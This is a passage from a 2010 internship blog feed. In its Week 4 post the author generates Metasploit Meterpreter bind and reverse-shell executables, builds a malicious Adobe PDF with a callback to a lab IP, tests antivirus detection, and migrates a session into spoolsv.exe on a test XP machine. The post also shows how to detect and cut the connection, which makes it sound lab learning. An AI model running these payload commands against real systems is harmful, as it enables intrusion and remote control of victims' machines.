/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/174631435990169412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/02/simwitty-internship-week-5.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/174631435990169412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/174631435990169412'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/02/simwitty-internship-week-5.html' title='SimWitty Internship: Week 5'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_rPtLhh3m4P0/S3jJ9UzcX1I/AAAAAAAAACA/FZ2PSxaHmSs/s72-c/Network.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-341148274151417192</id><published>2010-02-07T18:14:00.007-06:00</published><updated>2010-02-08T12:59:11.193-06:00</updated><title type='text'>SimWitty Internship: Week 4</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;This week I went a lot more in depth with my study of the Metasploit Framework (thank you offensive-security.com, I promise I will donate to HFC as soon as I can afford it). What is the main thing I learned this week?&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;&lt;b&gt;Metasploit is scary!&lt;/b&gt;&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;I had done a lot of messing about with the msf3 in previous classes, but mainly just simple reverse shells. This week I started exploring some of Metasploit's other possibilities such as executable creation, malicious pdf creation, and usage of Meterpreter sessions. Meterpreter is the reason for my conclusion that msf3 is a scary tool.&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;For starters, I tried my hand at creating some executable files using msfpayload. This can be done from the command line without having to start the framework:&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="line-height: 1;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="background-color: white; color: orange;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;./msfpayload windows/meterpreter/bind_tcp LHOST=192.168.2.200 LPORT=31337 X &amp;gt; /home/tiger/temp/msf_met.bind.tcp.exe&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;I uploaded this file to VirusTotal and it was detected by 12/39 engines (&lt;a href="http://www.virustotal.com/analisis/e7e34a96352b8df2fcc86884fb8235e83161777334a6be561ef8086f6daa6bf0-1265566387"&gt;link to results&lt;/a&gt;) As per the instructions in the Metasploit Unleashed lesson (ch 8, Antivirus Bypass) I attempted using a payload of type windows/shell/reverse_tcp:&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="line-height: 1;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="color: orange; font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.200 LPORT=31337 X &amp;gt; /home/tiger/temp/msf_shell.rev.tcp.exe&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;This executable was still detected by 11/40 engines (&lt;a href="http://www.virustotal.com/analisis/4b674d66c93f9e837734f2769c0cee1bd53fe4bc99aa8b5db59ba1e600a0bfce-1265568907"&gt;link to results&lt;/a&gt;). Although both of these were detected by some of the antivirus engines, the antivirus on my machine (Avast) picked up neither.&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;Next I thought I would try my hand at a malicious pdf. I did this from within the console:&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="line-height: 1;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="color: orange; font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;use exploit/windows/fileformat/adobe_utilprintf&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;set OUTPUTPATH /home/tiger/temp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;set LHOST 192.168.2.200&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;set LPORT 31337&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;You then just use the exploit command and the file will be created. This was detected by 11/40 engines (&lt;a href="http://www.virustotal.com/analisis/78831e8518b3964590baa102c1e666a901a3379852000cb5c1c623ae176c7ac8-1265574686"&gt;link to results&lt;/a&gt;). Thankfully, this was actually identified by my AV as: &lt;i&gt;&lt;span style="color: red;"&gt;JS:Pdfka-AK [Expl]&lt;/span&gt;&lt;/i&gt;.&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;Using Didier Stevens pdfid (&lt;a href="http://blog.didierstevens.com/programs/pdf-tools/"&gt;http://blog.didierstevens.com/programs/pdf-tools/&lt;/a&gt;) it can be seen that there is both JavaScript and an OpenAction within this file:&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="line-height: 0.75;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="color: #666666; font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;C:\Documents and Settings\Jeff\My Documents\VirtBox_shared&amp;gt;pdfid msf.pdf&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;PDFiD 0.0.9 msf.pdf&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;PDF Header: %PDF-1.5&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;obj&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;endobj&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 6&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;stream&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;endstream&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;xref&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;trailer&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;startxref&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/Page&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1(1)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/Encrypt&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/ObjStm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/JS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/JavaScript&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1(1)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/AA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/OpenAction&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1(1)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/AcroForm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/JBIG2Decode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/RichMedia&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;/Colors &amp;gt; 2^24&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;If you want to use Didier's pdf-parser tool, you can even view the obfuscated JavaScript within the file.&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;[click any picture to see a large version of it]&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Next I decided to experiment with Meterpreter sessions. I moved my &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf_met.bind.tcp.exe&lt;/span&gt; file over to the VictimXP machine and double clicked it. It showed up in as a listener in netstat and as a process in Process Explorer.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;a href="http://3.bp.blogspot.com/_rPtLhh3m4P0/S29RGebIjmI/AAAAAAAAAA4/V4dNUpHGCIA/s1600-h/Clipboard01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="173" src="http://3.bp.blogspot.com/_rPtLhh3m4P0/S29RGebIjmI/AAAAAAAAAA4/V4dNUpHGCIA/s200/Clipboard01.jpg" title="[img1]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;I then fired up msfconsole. The following commands got me ready to run and connected to the victim:&lt;/span&gt;&lt;br /&gt;&lt;div style="line-height: 1;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;b style="color: orange;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;set PAYLOAD windows/meterpreter/bind_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; show options&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; set RHOST 192.168.2.50&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; exploit&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;I was then in a Meterpreter session. By typing help or ? you can see what commands are available to you. I did a ps to see what processes were running on VictimXP.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_rPtLhh3m4P0/S29SkcLm9LI/AAAAAAAAABA/E-c6jDvOWQM/s1600-h/Clipboard02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="153" src="http://1.bp.blogspot.com/_rPtLhh3m4P0/S29SkcLm9LI/AAAAAAAAABA/E-c6jDvOWQM/s200/Clipboard02.jpg" title="[img2]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;and decided that since spoolsv.exe (PID 1880) was running as system, I would migrate there. I did this by typing migrate 1880. Meterpreter responded that migration was successful. Here you can see that the &lt;span style="color: #666666; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf_met.bind.tcp.exe&lt;/span&gt; process has disappeared.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_rPtLhh3m4P0/S29SzpXD3II/AAAAAAAAABI/ee6DHMtfYcU/s1600-h/Clipboard03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="158" src="http://3.bp.blogspot.com/_rPtLhh3m4P0/S29SzpXD3II/AAAAAAAAABI/ee6DHMtfYcU/s200/Clipboard03.jpg" title="[img3]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Curiously, netstat still showed the connection as established, but listed the the owning PID as 1240. This was the PID of &lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf_met.bind.tcp.exe&lt;/span&gt;. Attempting &lt;span style="color: #666666; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;taskkill /PID 1240&lt;/span&gt; resulted in an error.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_rPtLhh3m4P0/S29TCV8DowI/AAAAAAAAABQ/KinvpBwZSOc/s1600-h/Clipboard05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="158" src="http://2.bp.blogspot.com/_rPtLhh3m4P0/S29TCV8DowI/AAAAAAAAABQ/KinvpBwZSOc/s200/Clipboard05.jpg" title="[img4]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;If we use Process Explorer to look at &lt;span style="color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;spoolsv.exe&lt;/span&gt; it doesn't show any open connections.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_rPtLhh3m4P0/S29TI9JwBPI/AAAAAAAAABY/hef9TqnAHAA/s1600-h/Clipboard06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="169" src="http://1.bp.blogspot.com/_rPtLhh3m4P0/S29TI9JwBPI/AAAAAAAAABY/hef9TqnAHAA/s200/Clipboard06.jpg" title="[img5]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;It would seem that we can see something is established, but we can't stop it. Thank God for TCPView.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_rPtLhh3m4P0/S29TQG1bVMI/AAAAAAAAABg/m0-jpQmfVGA/s1600-h/Clipboard07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="158" src="http://1.bp.blogspot.com/_rPtLhh3m4P0/S29TQG1bVMI/AAAAAAAAABg/m0-jpQmfVGA/s200/Clipboard07.jpg" title="[img6]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Here we see PID 1240 as non-existent, but TCPView allows us to close the connection with a right click. After closing the connection with TCPView, I moved back over the the Meterpreter session. There was no warning of a disconnect, but when I issued a help command I was notified that the session had closed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_rPtLhh3m4P0/S29TiIwI-WI/AAAAAAAAABo/pCupv4xyJU4/s1600-h/Clipboard09.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="81" src="http://2.bp.blogspot.com/_rPtLhh3m4P0/S29TiIwI-WI/AAAAAAAAABo/pCupv4xyJU4/s200/Clipboard09.jpg" title="[img7]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;It is possible to notice something is strange on the victim machine by using Process Explorer, but the following methods would assume you knew a baseline memory size/handle count for every running process. We can see the changes by comparing the memory sizes of the spoolsv.exe process before...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_rPtLhh3m4P0/S29Ts8d-MGI/AAAAAAAAABw/ID_yInwQ3cQ/s1600-h/misc2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="166" src="http://3.bp.blogspot.com/_rPtLhh3m4P0/S29Ts8d-MGI/AAAAAAAAABw/ID_yInwQ3cQ/s200/misc2.jpg" title="[img8]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align:center;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;and after...&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_rPtLhh3m4P0/S29Twm3_cVI/AAAAAAAAAB4/F503xqoSaaE/s1600-h/misc3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="169" src="http://3.bp.blogspot.com/_rPtLhh3m4P0/S29Twm3_cVI/AAAAAAAAAB4/F503xqoSaaE/s200/misc3.jpg" title="[img9]" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;...the migration of the Meterpreter session. The virtual memory, physical memory, and handle counts have all changed.&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;See what I mean about scary?&lt;/p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;p&gt;This has been a very interesting week, and I really look forward to working with the Metasploit Framework a lot more.&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-341148274151417192?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/341148274151417192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/02/simwitty-internship-week-4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/341148274151417192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/341148274151417192'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/02/simwitty-internship-week-4.html' title='SimWitty Internship: Week 4'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_rPtLhh3m4P0/S29RGebIjmI/AAAAAAAAAA4/V4dNUpHGCIA/s72-c/Clipboard01.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-566134267847192118</id><published>2010-01-31T21:43:00.002-06:00</published><updated>2010-01-31T21:49:59.230-06:00</updated><title type='text'>SimWitty Internship: Week 3</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;This week I experimented with some of the tools I am considering using for the lab. These consisted of:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Inguma&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Fast-Track&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Metasploit Framework 3&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Inguma is interesting but I won't be using it. The GUI version is just plain broken, 